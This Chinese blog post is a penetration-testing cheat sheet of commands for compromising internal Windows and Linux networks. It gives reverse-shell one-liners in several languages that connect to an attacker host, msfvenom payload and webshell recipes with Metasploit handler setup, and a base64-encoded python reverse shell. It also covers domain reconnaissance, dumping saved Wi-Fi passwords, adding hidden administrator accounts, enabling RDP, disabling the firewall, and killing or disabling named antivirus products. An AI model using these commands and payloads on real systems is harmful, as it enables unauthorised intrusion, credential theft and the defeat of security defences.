目录
  1. 1. 反弹shell
    1. 1.1. 基本姿势
  2. 2. 信息收集
    1. 2.1. 前期收集
    2. 2.2. 其他命令
    3. 2.3. 发现密码
  3. 3. 进阶命令
    1. 3.1. 远程登录
    2. 3.2. 添加账号
    3. 3.3. 隐藏 win 账户
  4. 4. 端口转发与代理工具
内网渗透之常用命令小结

反弹shell

基本姿势

  • 多种小姿势反弹
1. bash
attacker 监听
nc -lvvp 4444
victim 运行
bash -i >& /dev/tcp/<attackerip>/4444 0>&1

2. nc
支持 -e 选项
attacker 监听
nc -lvvp 4444
victim 运行
nc <attackerip> 4444 -t -e /bin/bash

3. python
attacker 监听
nc -lvvp 4444
victim 运行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

4. php
attacker 监听
nc -lvvp 4444
victim 运行
php -r '$sock=fsockopen("<attackerip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个[Linux和Windows两用的脚本](https://my.oschina.net/chinahermit/blog/144035)

5. java脚本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<attackerip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

6. perl脚本
perl -e 'use Socket;$i="<attackerip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

7. powershell
victim 运行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attackerip> -port 4444
  • *MSFVenom生成常用payload *
1. 生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
如何利用?
以Windows为例,使用上面的命令生成一个exe的payload,复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
执行完之后在Windows下执行shell.exe

2. 生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell?
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
如何利用?
下面以php为例做一下测试,使用以下命令生成一个webshell,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php

3. 脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1
如何使用?
下面就以Python为例做一下测试,使用以下命令生成一个脚本,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_python
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
然后复制shell.py中的内容在linux命令行下执行,如下:
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

信息收集

前期收集

query user || qwinsta 查看当前在线用户

net user 查看本机用户

net user /domain 查看域用户

net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多

net view /domain 查看有几个域

net view \\\\dc 查看 dc 域内共享文件

net group /domain 查看域里面的组

net group "domain admins" /domain 查看域管

net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管

net group "domain controllers" /domain 域控

net time /domain

net config workstation 当前登录域 - 计算机名 - 用户名

net use \\\\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源

ipconfig

systeminfo

tasklist /svc

tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist

net localgroup administrators && whoami 查看当前是不是属于管理组

netstat -ano

nltest /dclist:xx 查看域控

whoami /all 查看 Mandatory Label uac 级别和 sid 号

net sessoin 查看远程连接 session (需要管理权限)

net share 共享目录

cmdkey /l 查看保存登陆凭证

echo %logonserver% 查看登陆域

spn –l administrator spn 记录

set 环境变量

dsquery server - 查找目录中的 AD DC/LDS 实例

dsquery user - 查找目录中的用户

dsquery computer 查询所有计算机名称 windows 2003

dir /s *.exe 查找指定目录下及子目录下没隐藏文件

arp -a

其他命令

ping       icmp 连通性

nslookup www.baidu.com vps-ip dns 连通性

dig @vps-ip www.baidu.com

curl vps:8080 http 连通性

tracert

bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >= 2008

fuser -nv tcp 80 查看端口 pid

rdesktop -u username ip linux 连接 win 远程桌面 (有可能不成功)

where file win 查找文件是否存在

找路径,Linux 下使用命令 find -name *.jsp 来查找,Windows 下,使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i

netstat -apn | grep 8888 kill -9 PID 查看端口并 kill

发现密码

发现远程登录密码等密码:

https://www.nirsoft.net/utils/network_password_recovery.html

wifi 密码:

netsh wlan show profile 	查处 wifi 名

netsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码

进阶命令

远程登录

判断是内网,还是外网,内网转发到 vps

netstat -ano   没有开启 3389 端口,复查下

tasklist /svc,查 svchost.exe 对应的 TermService 的 pid,看 netstat 相等的 pid 即 3389 端口.

添加账号

net user admin1 admin1 /add & net localgroup administrators admin1 /add

*如不允许远程连接,修改注册表 *

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

关闭防火墙

netsh firewall set opmode mode=disable

解决system权限3389无法添加的用户情况:

判断原因:
I.杀软篇
1,360杀毒软件
2,麦咖啡杀毒软件
3,卡巴斯基杀毒软件
4,其他杀毒软件或防护软件
II.策略篇
1,3389端口变更
2,莫名其妙无法添加账户
3,管理员限制篇
4,系统已达最大连接数处理


———————–I. 杀软篇—————————–
1. 360杀毒软件
taskkill /im 进程名.exe /f
把主动防御结束。360相关进程如下:
360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe
有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先query user看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill
所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上

2. 麦咖啡杀毒软件
完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组
这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。
net user guest /active:yes //将guest用户启用
net user guest silic!&amp;11133 //修改guest密码
net localgroup administrators guest /add //添加guest到管理员用户组中

3. 卡巴斯基
调整系统时间,让卡巴的key失效
mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。

4. 金山防护软件
主要是KSafeSvc.exe
taskkill搞不定就用ntsd
ntsd -c q -p PID
金山毒霸+金山卫士+瑞星防火墙的组合
可以将如下代码保存到c:\windows\temp\a.vbs
Default
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&amp;wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&amp;"/Administrators,group")
Set od=ob.Create("user","silic")
od.SetPassword "silic"
od.SetInfo
Set of=GetObject(os&amp;"/silic",user)
oe.add os&amp;"/silic"
然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了:
cscript c:\windows\temp\a.vbs

5. 禁用服务法
sc config 服务名 start= disabled
给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如:
sc config MsMpSvc start= disabled


——————————–II,策略篇—————————–
1. 3389端口变更
进行3389添加账户前首先要知道3389到底开启没有。
netstat -ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口
注意,是svchost.exe当中的某个。

2. 莫名奇妙无法添加账户
把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了
如果还是添加不上,可以尝试用vbs脚本来添加

3. 管理员限制
管理员直接把c:\windows\system32的net.exe给删了或者换了
于是你直接net的时候会提示拒绝访问或者不是系统命令等。
管你自己传一个自己的net.exe就突破了。
当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的

4. 达到最大连接限制
有时候添加了账户,但是连接提示最大连接数限制。
首先query user查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的)
然后logoff ID,就把对应ID的管理员踢掉了。然后就能登录了。

隐藏 win 账户

端口转发与代理工具

端口转发与代理工具

参考文章:
渗透测试中弹shell的多种方式及bypass
史上最强内网渗透知识点总结
解决system权限3389无法添加的用户情况

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/08/16/内网渗透之常用命令小结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论